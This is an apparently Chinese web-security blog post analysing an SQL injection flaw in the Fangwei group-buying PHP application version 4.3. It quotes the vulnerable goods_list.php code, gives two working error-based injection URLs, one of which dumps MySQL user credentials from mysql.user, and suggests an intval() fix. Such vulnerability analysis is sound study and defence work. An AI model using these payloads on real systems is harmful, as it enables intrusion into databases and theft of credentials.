方维团购4.3最新版sql分析 - 网站安全

方维团购4.3最新版sql分析 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 很久没上论坛了，今天看到了发布的方维团购4 3最新版sql注入漏洞利用工具好吧，根据撸主的信息，加上之前有分析过方维，很快就定位到了 app source goods_list php 团购分类 $side...

很久没上论坛了，今天看到了发布的方维团购4.3最新版sql注入漏洞利用工具
好吧，根据撸主的信息，加上之前有分析过方维，很快就定位到了
\\app\source\goods_list.php

\\app\source\goods_list.php

 
​
//团购分类
$sidegoodscatelist = getGoodsCate(" and pid=0 ");
$catepid = 0;//分类ID
$pid = 0;//顶级分类ID
$sub_cate_list = array();//次级分类
$is_top_cate = 0;//是否是顶级分类
if($_REQUEST['m'] =="Goods" && $_REQUEST['a'] == "showcate" && $_REQUEST['id']!="")
{
$catepid = $_REQUEST['id']; //用来获取接收的参数id
foreach($sidegoodscatelist as $k => $v){
if($v['id']==$catepid)
{
$is_top_cate=1;
}
}
 
if($is_top_cate==0)
{
$sub_cate_list = getGoodsCate(" and pid=".$GLOBALS['db']->getOne("select pid from " . DB_PREFIX . "goods_cate where id=".$catepid));
//执行了select pid from " . DB_PREFIX . "goods_cate where id=."$_REQUEST['id']"
//导致了注入的发生
foreach($sub_cate_list as $kk => $vv)
{
if($vv['id']==$catepid)
{
$pid = $vv['pid'];
}
}
}
else
{
$sub_cate_list = getGoodsCate(" and pid=".$catepid);
$pid = $_REQUEST['id'];
}
}
$GLOBALS['tpl']->assign('sidegoodscatelist',$sidegoodscatelist);
//var_dump($sidegoodscatelist);exit;
$GLOBALS['tpl']->assign('catepid',$catepid);
$GLOBALS['tpl']->assign('sub_cate_list',$sub_cate_list);
$GLOBALS['tpl']->assign('is_top_cate',$is_top_cate);
$GLOBALS['tpl']->assign('pid',$pid);
//end团购分类



可以看到

 
	if($_REQUEST['m'] =="Goods" && $_REQUEST['a'] == "showcate" && $_REQUEST['id']!="")

假如m=goods,a=showcate并且传递的id值不为空

$catepid = $_REQUEST['id'];

//用来获取接收的参数id

再带入sql语句

select pid from " . DB_PREFIX . "goods_cate where id=".$catepid

导致了注入的发生

exp:
1.判断mysql版本

 
	index.php?m=Goods&a=showcate&id=103%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

2.获取mysql账号密码

 
	index.php?m=Goods&a=showcate&id=103%20and%20(select%201%20from%20(select%20count(*),concat((SELECT%20concat(0x3a,host,0x3a,user,0x3a,password)%20FROM%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

分析完毕，如果有错的地方请指正

关于修复

if($_REQUEST['m'] =="Goods" && $_REQUEST['a'] == "showcate" && $_REQUEST['id']!="")
3. {
4. //$catepid = $_REQUEST['id']; //用来获取接收的参数
5.$catepid = intval ($_REQUEST ['id']); //强制转换
6.foreach($sidegoodscatelist as $k => $v){ //foreach as
7. if($v['id']==$catepid)
8. {
9. $is_top_cate=1;
10. }
11. }

妈妈网某管理后台SQL注入漏洞+越权访问 - 网站安

一个隐藏性很强的免杀pHp一句话 - 网站安全 - 自

子栏目

方维团购4.3最新版sql分析 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论